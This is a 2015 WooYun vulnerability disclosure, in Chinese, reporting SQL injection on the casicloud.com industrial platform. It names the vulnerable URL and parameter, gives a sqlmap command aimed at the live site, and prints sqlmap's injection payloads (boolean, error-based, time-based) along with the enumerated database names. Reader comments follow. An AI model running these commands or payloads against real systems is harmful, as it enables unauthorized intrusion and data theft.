当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0121050

漏洞标题：首家央企“互联网+智能制造”产业服务平台主站存在SQL注射漏洞（可导致整站信息泄露）

相关厂商：航天云网

漏洞作者： 猪猪侠

提交时间：2015-06-17 10:28

修复时间：2015-08-01 10:30

公开时间：2015-08-01 10:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-17： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-08-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

昨晚看新闻联播，新闻报道中提到首家央企“互联网+智能制造”平台上线，于是拿出小本子记下了这个平台的网址。
https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/201506/1710324708b273888e68c52aea9e6a9c885a2610.jpg

详细说明：

site.jpg


注入点
http://www.casicloud.com/capabilityListNew_v2.ht?type=2000
SQLMAP测试方法：

python sqlmap.py -u "http://www.casicloud.com/capabilityListNew_v2.ht?type=2000" --dbs


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: type (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: type=2000) AND 5379=5379 AND (5332=5332
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: type=2000) AND (SELECT 5214 FROM(SELECT COUNT(*),CONCAT(0x717a767671,(SELECT (CASE WHEN (5214=5214) THEN 1 ELSE 0 END)),0x7170706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (9215=9215
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: type=2000) AND SLEEP(5) AND (9517=9517

漏洞证明：

数据库列表：

available databases [6]:
[*] cod
[*] information_schema
[*] mysql
[*] test
[*] tianzhi.v21
[*] tianzhicloud

修复方案：

加入安全判断

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2015-06-17 10:30 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 ！！！)

    猪哥归来，前排!

  2. 2015-06-17 10:34 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    打脸啪啪啪

  3. 2015-06-17 10:36 | 伟哥 ( 普通白帽子 | Rank:110 漏洞数:29 | 不怕流氓有文化,就怕色狼有耐心,那么一只起...)

    前排飘过 记者看这里

  4. 2015-06-17 10:37 | chock ( 实习白帽子 | Rank:58 漏洞数:15 | 今夜我们都是wooyun人，我们一定要收购长亭)

    我也赶紧去买个小本子，随身携带

  5. 2015-06-17 10:44 | ’‘Nome ( 实习白帽子 | Rank:55 漏洞数:19 | 在此感谢 @M4sk @mango @裤裆 @泳少 @5up3r...)

    昨晚看新闻联播，新闻报道中提到首家央企“互联网+智能制造”平台上线，于是拿出小本子记下了这个平台的网址。

  6. 2015-06-17 10:58 | 90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)

    小厂商啦？

  7. 2015-06-17 11:12 | 哲璇 ( 普通白帽子 | Rank:168 漏洞数:31 | 低调奢华)

    昨晚看新闻联播，新闻报道中提到首家央企“互联网+智能制造”平台上线，于是拿出小本子记下了这个平台的网址。

  8. 2015-06-17 11:28 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效，坚持好的习惯千万不要放弃)

    让你还上ccav忽悠大众

  9. 2015-06-17 12:15 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁？)

    昨晚看新闻联播，新闻报道中提到首家央企“互联网+智能制造”平台上线，于是拿出小本子记下了这个平台的网址。

  10. 2015-06-17 12:26 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势，学思路。)

    看来要多看新闻啊……

  11. 2015-06-17 13:16 | →Ｈack涛 ( 普通白帽子 | Rank:158 漏洞数:55 | 好好学习，天天向上！)

    记者我来晚了

  12. 2015-06-17 13:20 | 安全小飞侠 ( 实习白帽子 | Rank:75 漏洞数:12 | 安全小飞侠就是我，我就是安全小飞侠！)

    前排围观

  13. 2015-06-17 13:48 | Jeremy ( 普通白帽子 | Rank:106 漏洞数:11 | )

    【绝密】：猪哥小本子地址：http://dwz.cn/xiaobenzi

  14. 2015-06-18 08:58 | 屎蛋 ( 路人 | Rank:8 漏洞数:2 | boom)

    马克

  15. 2015-06-18 09:17 | 平底斜 ( 路人 | Rank:12 漏洞数:2 | 性骄奢，好声色，为文有汉魏风)

    蓝鲸人

  16. 2015-06-18 09:32 | 乐乐 ( 路人 | Rank:4 漏洞数:1 | 一名信息安全员)

    我来过这里

  17. 2015-06-18 10:42 | Taro ( 普通白帽子 | Rank:178 漏洞数:48 | 走向最远的方向，哪怕前路迷茫；抱着最大的...)

    央视直观广告

  18. 2015-07-28 13:22 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效，坚持好的习惯千万不要放弃)

    放开那女孩 ，让我来